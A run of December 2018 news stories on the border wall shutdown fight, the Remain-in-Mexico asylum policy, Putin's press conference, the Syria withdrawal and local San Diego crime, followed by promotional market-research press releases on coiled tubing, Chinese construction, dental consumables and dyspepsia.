largely been between Trump and Democrats. I was promised the Wall and Border Security by leadership, Trump tweeted. Would be done by end of year (NOW). It didnt happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good! Trump has bounced back and forth with mixed messages. Just last week he said he would be proud to shut down the government over the wall. Earlier this week he appeared to shelve shutdown threats, with the White House saying he was open to reviewing whatever bill Congress could send him. Before turning on fellow Republicans, Trump had been directing his ire at Democrats, tweeting that they were putting politics over country. Republicans are in a state of disarray, said Pelosi. Wall funding is a nonstarter. At issue in the current fight is money for nine of 15 Cabinet-level departments and dozens of agencies, including the departments of Homeland Security, Transportation, Interior, Agriculture, State and Justice, as well as national parks and forests. Many agencies, including the Pentagon and the departments of Veterans Affairs and Health and Human Services, are covered for the year and would continue to operate as usual if funding lapses. The U.S. Postal Service, busy delivering packages for the holiday season, would not be affected by any government shutdown because its an independent agency. Associated Press writers Alan Fram and Kevin Freking in Washington contributed to this report. Immigrants seeking asylum along the southwest border will no longer be released into the U.S. while their cases play out, the Trump administration said on Thursday, forcing them instead to wait in Mexico in one of the most significant moves on immigration since the president took office. They will not be able to disappear into the United States, Homeland Security Secretary Kristjen Nielsen said on Thursday in remarks before the House Judiciary Committee. They will have to wait for approval. If they are granted asylum by a U.S. judge, they will be welcomed into America. If they are not, they will be removed to their home countries. The new policy covers immigrants apprehended at border entry points, those who have been interviewed by U.S. immigration authorities and those who have received an immigration court date. It does not apply children traveling alone or to Mexican nationals making asylum claims. Asylum seekers typically wait years on average before their cases are resolved, allowing them to put down roots in the U.S. while they wait. Many are fitted with electronic ankle monitors and are allowed to work while their cases progress. Advertisement Critics say the immigrants are gaming the system. Only about 9 percent of those who apply are actually granted asylum, and administration officials have long said too many migrants make false claims as a way to stay in the U.S. Discussions between U.S. and Mexico to hammer out the arrangement began well before Mexicos new president, Manuel Lopez Obrador, took office on Dec. 1. On Thursday, the Mexican foreign ministry said Mexico had agreed to the policy on a temporary basis for humanitarian reasons. Many details have not been worked out or disclosed. U.S. officials said the changes will be rolled out gradually across the border. Mexican officials will allow the waiting migrants to work and travel. Homeland Security officials said the Mexican government will allow asylum seekers access to U.S. immigration lawyers, but it was unclear where attorneys and their clients would meet. Some parts of northern Mexico, particularly across the Rio Grande from Texas, are considered very dangerous due to violence and drug trafficking. The U.S. State Department has warned American citizens not to travel to the Mexican state of Tamaulipas, which borders the Texas cities of McAllen and Brownsville. Forcing thousands of asylum seekers to remain in Mexico possibly for years will put many of them in life-threatening danger, said Jennifer Harbury, a South Texas attorney and human rights advocate. Giving them food or work authorization does not protect them from the cartels or the war zone that they would be sent to, she said. If Mexico could protect them, they would be protecting their own citizens, and they cant. Immigrant advocates decried the administrations decision, saying keeping asylum seekers in Mexico while they seek safe haven in the United States is illegal. This deal is a stark violation of international law, flies in the face of US laws passed by Congress and is a callous response to the families and individuals running for their lives, Margaret Huang, executive director of Amnesty International, said in a statement. American Civil Liberties Union attorney Lee Gelernt said the plan was illegal. This plan cannot be done lawfully and will result in countless people in life-threatening situations. Advocates said Mexico is especially dangerous for LGBT immigrants, and traffickers and kidnappers threaten the well-being of women and children seeking protection in the United States. More than 100,000 immigrants were caught crossing the U.S.-Mexico border in October and November. Nearly half of them were traveling in family groups that included children, according to statistics from U.S. Customs and Border Protection. While the number of immigrants caught crossing the border illegally has fallen since the 1990s and early 2000s, U.S. authorities have been grappling in recent years with an increase in children traveling alone or with family. It is not illegal to cross the border without a visa to apply for asylum. Immigrant advocates say violence in the Central American countries of El Salvador, Guatemala and Honduras is driving people north, and many are coming to seek asylum. Nearly 100,000 immigrants requested initial asylum screenings during the fiscal year ending in September, according to U.S. Citizenship and Immigration Services. Trump administration officials say migrants are seeking asylum at the southern border because they can wait in the United States for months or even years as their cases are decided. They argue that many disappear into the U.S. and forcing them to wait in Mexico will cut down on what administration officials say are false asylum claims. Thousands of migrants have come up from Central America in recent weeks as part of caravans. President Donald Trump used his national security powers to put in place regulations that denied asylum to anyone they say crossed the border illegally, but a judge has halted that change as a lawsuit progresses. Nielsen said in a statement the policy would be done legally. This will also allow us to focus more attention on those who are actually fleeing persecution, she said. The agreement comes two days after the US pledged $10.6 billion for Central America and southern Mexico to promote development so that people did not have to leave their countries. Experts in Mexico doubted whether Lopez Obrador would face any significant backlash against the decision, which they noted was announced when much of the country had its mind on Christmas shopping and holiday planning. These are not humiliating concessions, theyre quite reasonable, said Federico Estevez, a political science professor at the Autonomous Technological Institute of Mexico. Lopez Obrador may absorb a cost, but its a relatively small price to get your neck out of the noose on the immigration issue. Stevenson reported from Mexico City. Nomaan Merchant in Houston and Amy Taxin in Santa Ana, California, contributed to this report. Russian President Vladimir Putin on Thursday blamed the United States for raising the risk of a catastrophic nuclear war, saying U.S. abandonment of key Cold War-era arms control treaties had undermined the strategic balance of the worlds nuclear powers. We are essentially witnessing the breakdown of the international arms control order and [the start of] an arms race, Putin said during his annual end-of-the-year news conference in Moscow. When the U.S. withdrew from the Anti-Ballistic Missile Treaty in 2002, Russia was forced to develop nuclear weapons to compete with other countries for its security, Putin said. Now, with the Trump administration threatening to withdraw from the 1987 Intermediate-Range Nuclear Forces Treaty, the U.S. is taking yet another step toward destabilizing the situation, he said. Both Moscow and Washington signed the treaty, which banned ground-launched nuclear missiles. The U.S. has said it would exit the agreement because Russia had violated its terms. Advertisement Let them not say afterward that we were trying to achieve some sort of advantage, Putin said. We are not aiming for an advantage, we are aiming to retain balance and to provide for our own safety. Putin softened his reproach of the U.S. in his comments on President Trumps decision to withdraw troops from Syria. Trump claimed Wednesday that Islamic State had been defeated and that about 2,000 American troops would begin coming home. Donald is right, I agree with him, Putin said in response to Trumps statement that Islamic State had suffered serious blows in Syria. However, Putin said that unlike Russian troops, the U.S. never had a legitimate reason to be in Syria because there was no United Nations resolution or an invitation from the Syrian government to enter the war. Putin also expressed skepticism that the troops would actually be withdrawn. The United States has been in Afghanistan for 17 years and has announced withdrawals almost every year, Putin said. But [the troops] are still there. While the U.S. role in Syria has contributed to the destruction of Islamic State, American involvement hasnt helped end the grinding civil war there, he said. Putins comments came during his annual marathon news conference. Though this years event was shorter than some in previous years it lasted just under four hours a record number of journalists attended. The Kremlin accredited 1,702 journalists from Russian and foreign outlets, a fact Putins spokesman, Dmitry Peskov, touted as a sign of Russias openness with the media. Questions from Russian journalists mostly focused on the countrys economic and social problems, which Putin said were challenging but not beyond hope. Despite Western sanctions on Russia, the country was adjusting and growing, he said. The economy is anticipated to grow by 1.7% this year, a figure most economists agree is equivalent to stagnation. In contrast, global economic growth is predicted to be closer to 3%. Still, Putin said he believed Russia could become the worlds fifth-largest economy in the near future. The U.S. and the European Union first placed economic sanctions on Russia in 2014, when Moscow annexed Crimea from Ukraine. Additional rounds of sanctions came in response to allegations that the Kremlin orchestrated the poisoning of former spy Sergei Skripal and his daughter earlier this year. Both survived. The U.S. placed additional sanctions on Russia for attempts to interfere in the 2016 U.S. presidential election. The Kremlin has denied all allegations in the Skripal case, and any association with the disinformation campaigns U.S. intelligence agencies claim were conducted by a St. Petersburg-based internet trolling agency. The sanctions have restricted key industries in Russias economy from accessing Western funding, which has affected the countrys overall economic growth. Putin said Thursday that the West was going after Russia with sanctions to slow or undermine the development of post-Soviet Russia. Its because the power of the Russian Federation is rising, its a new state power to be reckoned with. And many people dont want to recognize that, he said. In the Skripal case, Putin pointed to the uneven response in the West to accusations that Saudi Crown Prince Mohammed bin Salman knew about and even ordered the killing of Jamal Khashoggi, a Washington Post journalist and critic of the Saudi government. Khashoggi was assassinated. Skripal, thank God, is alive, Putin said. Still, the U.S. put sanctions on Russia but left Saudi Arabia untouched, he said. This is a pretext, just a reason to organize another attack against Russia, Putin said. If there were no Skripals, they would find something else. Asked by a Wall Street Journal reporter, one of only two American media members called upon during the news conference, if Russia had an ambition to rule the world, Putin smirked. We know where the headquarters are of those who want to rule the world and its not Moscow, he said, noting the economic dominance of the American dollar and the fact that the U.S. had the largest defense budget in the world. sabra.ayres@latimes.com Twitter: @sabraayres Ayres is a special correspondent. The U.S. will review a travel ban for Americans to North Korea to facilitate humanitarian shipments to the impoverished state. Stephen Biegun, the U.S. special representative for North Korea, made the announcement on arrival at Incheon International Airport on Wednesday. He said he is aware that many charities working in the North are concerned that the strict enforcement of sanctions has "occasionally impeded the delivery of legitimate humanitarian assistance" to North Korea. "I will be sitting down with American aid groups early in the new year to discuss how we can better ensure the delivering of the appropriate assistance, particularly through the course of the coming winter," he added. "We will also review American citizen travel to [North Korea] for purposes of facilitating the delivery of aid and ensuring that monitoring in line with international standards can occur." The move seems to be a carrot to bring the North back to the dialogue table. Police are searching for a gunman who robbed a 7-Eleven in the community of Rolando early Thursday, San Diego police said. The robber, a man in his 40s, walked into the convenience store on El Cajon Boulevard near Rolando Boulevard about 5:10 a.m. He pointed a gun at the cashier and demanded cash and then jumped over the counter and stole Lotto tickets and money from the register, police Officer Sarah Foster said. The suspect ran off in an unknown direction. The departments robbery unit is investigating. Advertisement Twitter: @LAWinkley (619) 293-1546 lyndsay.winkley@sduniontribune.com A 31-year-old Honduran woman who allegedly crossed the border without authorization, fell down a steep canyon and suffered several traumatic injuries, was rescued by U.S. Customs and Border Protection agents Wednesday morning in the mountain wilderness east of Otay Mesa, authorities said. Border Patrol agents became aware of the womans plight around 5:30 a.m. when they detained a Honduran man on suspicion of entering the country illegally, Border Patrol officials said. The man told agents that a woman hed been with had fallen off a rock and down a steep canyon a few hours earlier. The man said he climbed down to her location and said she was conscious, but appeared to be in bad condition, public-affairs officer Agent Tekae Michael said in a statement. The field agents began searching for the woman and requested help from a Customs and Border Protection helicopter and airplane, as well as a specialized Border Patrol unit trained in search, trauma and rescue, according to Michael. Advertisement HAPPENING NOW: Rescue mission underway. #AirandMarineOperations assets are assisting #USBP #BORSTAR ground agents in the search for a suspected illegal alien reported to have fallen off a cliff on Otay Mountain. UH-60 Blackhawk with hoist deployed for potential medevac. #CBP pic.twitter.com/hAhmrIiqPH CBP San Diego (@CBPSanDiego) December 19, 2018 Around 9 a.m., the helicopter spotted the injured woman and directed agents on the ground where to find her. Upon arrival, agents reported that she was going in and out of consciousness, Michael said. The agents from the specialized rescue unit began giving the woman medical aid and requested a hoist from a Blackhawk helicopter. Just after 10:05 a.m., the Blackhawk airlifted the woman out of the canyon and took her to Otay Mesas Brown Field municipal airport, where she was transferred to an ambulance and taken to a hospital. The woman, who had entered the country without authorization, according to the Border Patrol, suffered multiple traumatic injuries, Michael said. Twitter: @Alex_Riggins (619) 293-1710 alex.riggins@sduniontribune.com UPDATES: 8:30 p.m.: This article was updated with additional details. This article was originally published at 3:40 p.m. A gunman dressed like a construction worker in an orange vest and hard hat held up a Serra Mesa video game store Wednesday, police said. The robbery was reported shortly after 10:30 a.m. at GameStop on Murphy Canyon Road south of Aero Drive, according to San Diego police. The robber used a handgun, made a demand from employees and left with undisclosed spoils. He left the business headed north on Murphy Canyon Road. The robber was described as Hispanic, roughly 5 feet 9 inches and 200 pounds and appeared to be in his 30s. He was wearing a white hard hat, long-sleeved blue shirt and orange vest, Officer Dino Delimitros said. Advertisement City News Service contributed to this report. Twitter: @Alex_Riggins (619) 293-1710 alex.riggins@sduniontribune.com President Trump, in a pair of tweets Wednesday summarizing his worldview, justified his decision to order American troops withdrawn from Syria while promising that the military would instead put resources into building the wall hes long espoused along the U.S.-Mexico border. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, Trump tweeted, shortly before his press secretary announced that we have started returning United States troops home as we transition to the next phase of this campaign. That declaration from Trump came shortly after another Twitter missive in which he declared that because of the tremendous dangers at the Border, including large scale criminal and drug inflow, the United States Military will build the Wall! The joint tweets offered perhaps the clearest distillation to date of Trumps America first policy: a simple and abrupt vow to disengage from one of the worlds most nettlesome conflicts, with a potentially premature declaration of victory over the militants of Islamic State, also known as ISIS, coupled with an unlikely promise that the worlds most sophisticated fighting force would be deployed to build a literal fortification around the homeland. Advertisement The order to withdraw the roughly 2,000 troops currently in Syria provided the latest example of how Trumps instinct to turn inward, whatever the risk and costs to the United States influence and reputation abroad, may clash with the views of the generals and foreign policy experts who serve inside and outside his administration. Defense Secretary James N. Mattis, for example, a retired four-star general who once commanded American forces in the Middle East, was pushed aside by President Obama for advocating more forceful engagement in the region. Pentagon officials over the last two years have repeatedly clashed with Trumps desires to limit the kind of muscular U.S. role in the Mideast that Mattis has advocated in the past. Trumps announcement raised fears among national security professionals that he might follow the Syria decision with a troop drawdown in Afghanistan, something he has long wanted to do. Either exit involves a strategic gamble by Trump and could also cost the president politically if Islamic State violence resurges or the region destabilizes during the 2020 election campaign. It is a major blunder, said Sen. Marco Rubio (R-Fla.). If it isnt reversed, it will haunt this administration and America for years to come. As is often the case, many officials worked Wednesday to mitigate the immediate impacts of Trumps declaration, by slowing the withdrawal timeline and following his instructions only approximately. Others who have grown accustomed to Trumps splashy promises and the fluidity of his decision-making cautioned that Wednesdays announcement may not come immediately to fruition or could be tempered by the time the military implements it. Trumps about-face came only weeks after some of his own advisors said U.S. troops would remain in Syria until Iran, a key backer of Syrian President Bashar Assad, agreed to remove its own troops from the country. That expanded mission appeared to reflect the wishes of anti-Iran hard-liners, including national security advisor John Bolton, rather than Trumps views. A senior administration official who briefed reporters on the condition of anonymity put the matter bluntly. Asked about the cascade of recent statements by Bolton and others vowing to stay in Syria as long as Iran remained engaged, the official said that Trump is doing what Trump wants to do. The issue here is that the president has made a decision, the official said. He gets to do that. Its his prerogative. The official conceded that the Islamic State threat has not been eliminated from the region beyond Syrias borders, even if the militants have been significantly hobbled inside. Some of Trumps closest allies in the Republican Party oppose his plan. Calling it an Obama-like mistake, Sen. Lindsey Graham (R-S.C.) asserted that Trumps withdrawal plan amounted to waving a white flag in the war on terrorism. It would allow militant groups to flourish amid the chaos, while leaving a strategic vacuum for Russia, Iran and other geopolitical rivals to fill, Graham warned. A senior U.S. official, speaking on condition of anonymity to discuss internal deliberations, said that Trump decided Tuesday to order the withdrawal from Syria and that Pentagon officials were working on a timetable for complying. We will do a professional and deliberate withdrawal that will be focused on the safety of our forces, the official said. Despite apparent reservations inside the administration and swift criticism from the outside, the orders match well with Trumps political brand. On the campaign trail and in a major speech outlining his foreign policy one year ago, Trump drew consistent applause when he bashed leaders who engaged in nation-building abroad, while they failed to build up and replenish our nation at home. In August, the administration cut $230 million from a line item in the budget intended to stabilize Syria, insisting the U.S. would not stick around to rebuild the ravaged country and calling on other Arab states to make up the slack. The figure is tiny in the context of the Pentagons annual budget of more than $700 billion. The Syria funds are also a small fraction of the amount it would take to build a full border wall, for which estimates range from $25 billion to $100 billion. Trump nonetheless built on the theme that the U.S. spends too much overseas, saying in one of his Wednesday tweets that so much money has been poured down the drain, for so many years, but when it comes to Border Security and the Military, the Democrats fight to the death. The promise that the military would work on border fortification could help Trump publicly justify or distract from a likely decision to retreat from a losing fight with Congress over money for a wall. But American soldiers are unlikely to do much if any construction along the border, given the legal and bureaucratic resistance to using the military for a mission that falls far outside its scope. While Trump campaigned on a promise to repudiate Obamas foreign policy, he shares his predecessors instincts to pull troops from Middle Eastern conflicts that seem endless, and endlessly frustrating. Obama endured similar criticism much of it from Trump and his political allies over his decision to pull most forces from Iraq in an attempt to fulfill his own campaign promise. The real contrast for Trump is with the foreign policy of the last Republican to serve in the White House, George W. Bush, who believed an active American presence in the region was essential to winning the global war on terrorism and that spreading democracy was paramount to national security. Neoconservatives aligned with Bushs policy argued that Trumps decision would not only allow Islamic State to retool, but also create room for Iran and Russia, who have been steadily carving up the region, to have a freer hand to expand their influence far beyond Syrias messy borders. Pulling U.S. troops out of Syria would be a gift to [Russian President Vladimir] Putin and to the mullahs in Tehran, said Mark Dubowitz, chief executive of the Foundation for Defense of Democracies, a right-leaning think tank. And it would be a disastrous gift for the region. Such a move would be Obama 2.0, he argued, that would squander U.S. leverage when dealing with other Middle Eastern crises and allow Iran an open path to expand its influence to the Mediterranean Sea. James Stavridis, a retired Navy admiral who served as supreme allied commander of the North Atlantic Treaty Organization, called it a big mistake, comparing it on Twitter to walking away from a forest that is still smoldering underfoot. Neoconservatives were not the only ones to hold that view. Many including commanders inside the Pentagon fear a withdrawal could help Islamic State reconstitute itself. The military has so far been successful in conquering the territory that Islamic State held in Iraq and Syria, destroying its self-proclaimed caliphate, but officials have repeatedly cautioned that pockets of resistance remain scattered throughout the war-torn region, and that militant fighters have switched from trying to hold territory to planning terrorist attacks. Obviously, it would be reckless if we were just to say, Well, the physical caliphate is defeated, so we can just leave now, Brett McGurk, Trumps presidential envoy to the Global Coalition to Defeat ISIS, said last week. Anyone whos looked at a conflict like this would agree with that. Times staff writer Tracy Wilkinson contributed to this report. Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. Tens of thousands of taxi drivers rally in front of the National Assembly in Yeouido, Seoul on Thursday afternoon in protest against the launch of Kakao's new ride-sharing app. This is their third protest since October. Taxi drivers' groups expect 100,000 members to attend. The first rally drew 70,000, while another 40,000 converged in November. One cab driver committed suicide in protest earlier this month. In a press conference in front of the National Assembly on Wednesday, taxi drivers' unions threatened to mobilize 10,000 cabs to block one of the bridges over the Han River. Union leader Koo Soo-young said, "We will not communicate with anyone until the National Assembly passes a law prohibiting ride-sharing services." Seoul city officials are bolstering subway and bus services during commuting hours on Thursday. Ride-sharing apps are increasingly popular around the world despite protests from conventional taxi drivers and in many cases more convenient and reliable. North Korea's economy is reaching its limits amid crippling international sanctions. The Asan Institute for Policy Studies on Wednesday said that North Korea's economy is expected to crack "sooner than expected." North Korea's imports plunged 40 percent and its exports 90 percent this year. The UN Conference on Trade and Development estimates foreign direct investment in North Korea in 2017 stood at US$63 million, down 32 percent compared to 2016. But rather than tightening its belt, Pyongyang boosted imports of daily necessities and smuggled in more oil. The institute said North Korea resorted to these measures "to stabilize its internal economy," allowing open-air markets to stay open, while black-market exchange rates and prices of daily necessities remained stable. The North was apparently expecting sanctions to be eased much sooner once it started nuclear negotiations with the U.S. But the policy is unsustainable because the North's current account balance and foreign currency reserves will deteriorate exponentially. The institute said it will take "considerable time" for sanctions to be eased even if Washington and Pyongyang reach some sort of agreement in denuclearization talks. The think tank forecast that judging by the U.S.' behavior in the Iran nuclear deal, it could ease only nuclear-related sanctions in the event of a breakthrough in talks while maintaining other bans. North Korea's demands, which had focused on a declaration of an end to the Korean War and the signing of a peace treaty following Kim Jong-un's summit with U.S. President Donald Trump on June 12, have shifted since September to the easing and lifting of sanctions. That suggests it is on the point of cracking under the strain. Kim made 43 on-site inspections of economic projects this year and only eight to military installations. The official Rodong Sinmun daily said the Workers Party "declared war" on bureaucratic inefficiency and corruption, judging that such factors are serious threats. One former Unification Ministry official here said, "It looks like [North Korea] is preparing to stem potential public unrest due to economic deterioration. There is a strong chance that some corrupt bureaucrats will be made to take the fall for North Korea's economic deterioration." Meanwhile, Statistics Korea said North Korea's economy shrank 3.5 percent last year, its worst performance since 1997, when it shrank 6.5 percent. South Korea's economy grew 3.1 percent in 2017, increasing the difference between the two to 43 times, up from 11 times in 1990. North Korea's per-capita gross national income stood at W1.46 million in 2017, a fraction of South Korea's W33.6 million (US$1=W1,128). Pune, India -- (SBWIRE) -- 12/20/2018 -- Coiled tubing is described as a continuous length smaller diameter pipe useful for oil and gas operations. Market Research Future (MRFR) has published a research report regarding the global coiled tubing market that predicts growth for this market with 6.75% CAGR for this market between 2017 and 2023. The prime factor aiding the growth of the global coiled tubing market is the growing demand with a recent increase in oil and gas exploration and drilling processes. Other factors include price slowdown, increased investment in exploration & production activities, and construction of new offshore facilities for the purpose of cost reduction. However, due to rising concerns about oil and gas operations safety and the stringent government regulations regarding environmental concerns, the market growth can experience a negative impact. Request to view Sample Report@ https://www.marketresearchfuture.com/sample_request/1024 The global coiled tubing market has been segmented on the basis of application, services, and lastly region. As per application-based segmentation, this market has been segmented as onshore and offshore applications. Due to increasing shale gas development and unconventional drilling techniques, onshore drilling activities are gaining popularity among oil & gas operators. Supportive regulations are aiding the market growth in countries like the United States of America (USA). In drilling projects, the coiled tubing offers advantages like contained well pressure along with quicker trip times. By service, the market has been segmented into drilling, intervention, cleaning & completion, and others. The regional segmentation of the global coiled tubing market segments the market into continent-based regional markets known as North America, Europe, Asia Pacific, South America, and Middle East & Africa (MEA). During the forecast period, North America is expected to appear as the largest market for coiled tubing due to increased oil and gas drilling activities in this region. Especially in the United States of America (USA), which is the biggest economy in this region, is also an established major oil producing nation outside the Organization of the Petroleum Exporting Countries (OPEC) due to the continuous extraction of shale oil and gas via alternate and unconventional drilling technologies. After the USA, Canada and Mexico are the biggest country-specific markets in this region. According to the report, the Middle East region is also witnessing increased oil and gas enhanced recovery projects along with new drilling projects. This is because of the recent OPEC plans to continue oil production activities because of rising demand. In the MEA region, the most important country-specific markets in this region are Algeria, Egypt, Kuwait, Saudi Arabia, and the United Arab Emirates (UAE), followed by the rest of MEA region. In the Asia Pacific region, the number of shale gas development projects is increasing in China, and this is expected to bring rapid growth for the coiled tubing market. The demand for oil and gas is rising in countries such as Australia, India, Indonesia, and the Philippines. Therefore, new oil and gas drilling projects are expected to increase in these countries, aiding further market growth. In Europe, there is maximum technological advancement after North America and this region has a high density of population. Therefore, Europe is a significant market. There is high demand for oil and gas in this region. The significant country-specific markets in this region are Norway, Russia, the Netherlands, and the United Kingdom (UK). In South America, the development is lesser than in North America. In this region, the primary country-specific markets are Argentina and Brazil, followed by the rest of South America. Key Players The key players in the Global Coiled Tubing Market include - Archer Limited (Bermuda) - Baker Hughes (USA) - C&J Energy Services, Inc. (USA) - Calfrac Well Services Ltd. (Canada) - Halliburton Company (USA) - Key Energy Services (USA) - Nabors Industries Ltd. (Bermuda) - RPC, Inc. (USA) - Sanjel Corporation (Canada) - Schlumberger (France) - Superior Energy Services Inc (USA) - Trican Well Services (Canada) - Weatherford International Ltd.(USA) Access Report Details @ https://www.marketresearchfuture.com/reports/global-coiled-tubing-market-1024 Latest Industry News KLX Energy Services Holdings Inc. is entering the coiled tubing market through the acquisition of Motley Services LLC in a cash-and-stock transaction worth US $148 mn. OCT 2018 Sandvik, a developer, and producer of advanced stainless steels, special alloys, titanium, and other high-performance materials, is set to showcase its latest range of products and services that include innovative tubes for its growing EMEA customer base at the Abu Dhabi International Petroleum Exhibition and Conference (ADIPEC) 2018. NOV 2018 Albany, NY -- (SBWIRE) -- 12/19/2018 -- Buoyed by the country's economic growth, China, over the last three decades or so, has managed a mammoth of construction projects which has underpinned its urban environment. However, China's construction industry in 2017 witnessed a gloomy growth of 4.3% vis-a-vis 8.2% during 2013-2016. This could be attributed to slow economic growth, soaring debt-to-GDP ratios and plunge in fixed assets investment. Meanwhile, there has been rise in the investment in transport, energy and residential infrastructure construction projects. These insights are according to the report titled, "Construction in ChinaKey Trends and Opportunities to 2022," which has been freshly added to the repository of Market Research Hub (MRH). Predominantly, construction in China market is set to be powered by 2022 winter Olympic Games. The construction industry output value in real terms is projected to expand at CAGR of 4.24% during the assessment period (2018-2022). Meanwhile, the industry is trussed by the government's persistent efforts to propel economic growth by large scale investments. In addition, the government's initiatives in impelling energy and tourism sectors will shore up the investments towards construction projects. Having said that, hiccups do exist in the construction industry as the battle for supremacy in the form of trade war has heightened between the U.S and China. Moreover, given that Chinese government is reeling to cut down public debt, it is said to further mar the construction industry during the forecast period. Request For Sample Report: https://www.marketresearchhub.com/enquiry.php?type=S&repid=1944988 Investment in the construction of nuclear power units will spur China's utilities and energy construction market as China national nuclear power (CNNP) and Russian state nuclear companyRosatom signed two accords for the construction of four nuclear power units in the country. Besides, construction industry has been augmented by the massive investment of USD 3.2 trillion (CNY 21.6 trillion) in construction project pipeline. Construction in China: Report Content The report furnishes a coherent analysis on the construction industry in China. The report incorporates the growth prospects in the form of project type, market and construction activity. Further, the report sheds some light on the effect of trends and issues of the construction industry. The report talks at length about risk and opportunities in the industry along with assessment on the mega-project pipeline with the breakdown on development stages. The report segments the market on the basis of commercial, industrial, infrastructure, energy and utilities, institutional and residential. The report also discusses estimated spending on projects in the existing pipeline. The report does the listing of principal projects and provides analysis on the leading consultants and contractors. The report starts with the Construction outlook followed by drivers and risks of the industry. The report assesses the PED (Political environment, Economic performance and Political environment) of China. The report, then, throws light on each segments through explaining it at length. Browse Full Report with TOC- https://www.marketresearchhub.com/report/construction-in-china-key-trends-and-opportunities-to-2022-report.html Construction in China: Research Methodology An exhaustive research methodology has been embraced with regards to providing a research approach incorporating of secondary and primary research. The insights in the report is the result of an in-depth secondary research, primary interviews and in-house reviews by panel of experts. The secondary research incorporates company websites, SEC filings and presentations by investors, industry white paper and statistical database. The primary research embodies face to face interviews, phonic interviews and e-mail interaction. To provide the readers with authentic report, a panel of expert analyzes the data collected from various sources. Enquire about this Report- https://www.marketresearchhub.com/enquiry.php?type=enquiry&repid=1944988 About Market Research Hub Market Research Hub (MRH) is a next-generation reseller of research reports and analysis. MRH's expansive collection of market research reports has been carefully curated to help key personnel and decision makers across industry verticals to clearly visualize their operating environment and take strategic steps. MRH functions as an integrated platform for the following products and services: Objective and sound market forecasts, qualitative and quantitative analysis, incisive insight into defining industry trends, and market share estimates. Our reputation lies in delivering value and world-class capabilities to our clients. Contact Us 90 State Street, Albany, NY 12207, United States Toll Free : 800-998-4852 (US-Canada) Email : press@marketresearchhub.com Website : https://www.marketresearchhub.com/ Read Industry News at - https://www.industrynewsanalysis.com/ Albany, NY -- (SBWIRE) -- 12/19/2018 -- Global Dental Consumables Market: Snapshot Globally, the growing awareness about the better and effective dental treatment has grown the demand for dental consumables market. Moreover, growing dental tourism in countries like India, Hungary, and Turkey has also expand the growth opportunities in the dental consumables market. Services that are included in dental consumables are tooth restoration, related gingival tissues, and treatment for dental impairments. Furthermore, low cost of dental treatments because of less expensive oral healthcare services available in developing economies is also expected to drive the dental consumables market. Report Overview @ https://www.transparencymarketresearch.com/dental-consumables-market.html Some of the other factors contributing in the growth of the dental consumables market is reducing government intervention in operating healthcare firms and accessibility of improved dental treatment with low labor cost has also benefitted the market growth. The global dental consumables market is prophesied to rise at 6.1%% of CAGR during the forecast period between 2016 and 2024. The valuation for the market is expected to reach US$33.4 bn by the end of 2020 progressing from US$19.6 bn as estimated in 2015. Request A Sample Copy @ https://www.transparencymarketresearch.com/sample/sample.php?flag=S&rep_id=554 Technological Advancements to Benefit Growth of Dental Consumables Market The report on the global dental consumables market classify on the basis of product that is further divided into dental crowns and bridges, dental implants, dental biomaterials, endodontics, orthodontics, periodontics, and retail dental care essentials. Out of these, the crown and bridges segment is leading the market and is likely to continue its dominance in the coming years. The demand for these devices is high as it provides a protective layer on the damaged part of the tooth. Moreover, technological advancements such as CAD and CAM are also driving the market growth. It is also assumed that rising awareness about cosmetic dentistry, large geriatric population, and improving life expectancy across the globe to benefit market growth. Furthermore, resemblance of getting a natural looking tooth by using crown and bridges is also expected to boost demand in the dental consumables market. Request Brochure @ https://www.transparencymarketresearch.com/sample/sample.php?flag=B&rep_id=554 Europe Emerges Dominant Due to Increasing geriatric population Geographically, the regions in which the dental consumables market is divided are Latin America, Europe, Asia Pacific, North America, and Middle East & Africa. Of these regions, Europe is leading the market due to large geriatric population present in the region. Growing awareness about the dental care and rising concerns related to oral healthcare are expected to keep the region on the forefront in the global dental consumables market. Countries in Asia Pacific are also expected to rise at a steady rate during the forecast period. This is due to the rising dental tourism in the various countries in Asia Pacific. In addition, rising spending by the middle class in oral healthcare is also expected to boost the demand for this market. The rising disposable income, growing awareness in region about the oral healthcare, and growing easy accessibility of oral healthcare in the region are considered some of the major driving the dental consumables market. The report has also analyzed some of the prominent players and their contribution to the global dental consumables market. To mention some of the prominent players are Institut Straumann AG, DENTSPLY International, Inc., Henry Schein, Inc., Patterson Companies, Ivoclar Vivadent AG, and 3M Health Care. The leading players in the market are expected to take part in mergers, takeovers, and joint ventures. About Transparency Market Research Transparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMR's experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge. Each TMR syndicated research report covers a different sector such as pharmaceuticals, chemicals, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, TMR's syndicated reports strive to provide clients to serve their overall research requirement. Contact 90 State Street, Suite 700 Albany, NY 12207 Tel: +1-518-618-1030 USA Canada Toll Free: 866-552-3453 Email: sales@transparencymarketresearch.com Website: https://www.transparencymarketresearch.com Pune, India -- (SBWIRE) -- 12/19/2018 -- Market Scenario The Global Dyspepsia Market is expected to witness a positive growth during the forecast period. Dyspepsia is a chronic medical condition, that causes discomfort in the upper abdomen of the patient due to indigestion. The gastrointestinal organs, the stomach and the small intestine (sometimes the esophagus), do not function normally. Gastrointestinal causes of dyspepsia are gastritis, peptic ulcers, gallstones, stomach cancer, constipation, reduced blood flow in the intestine (intestinal ischemia). Nongastrointestinal causes are diabetes, thyroid disease, kidney disease and consumption of drugs like nonsteroidal anti-inflammatory drugs (NSAIDs such as ibuprofen), antibiotics and others. Dyspepsia is also caused due to overeating, smoking and extreme consumption of alcohol. Increasing prevalence of digestive diseases is the key factor for the market to grow. According to the Centers for Disease Control and Prevention in 2016, 14.7 million people in the US suffered from digestive ulcers. Such a high prevalence of digestive diseases enhances the market growth during the forecast period. Other factors like growing caffeine intake, increasing alcohol consumption, rising prevalence of diabetes, increasing incidences of thyroid diseases and stomach cancer, robust R&D activities to develop new drugs and advancement in diagnosis and treatment technologies is driving the growth of the market. Get Sample Copy @ https://www.marketresearchfuture.com/sample_request/6351 However, factors such as expensive diagnosis test and intense competition among the major market players to gain maximum market share are expected to restrict the market growth during the forecast period. Key players Some of the key players 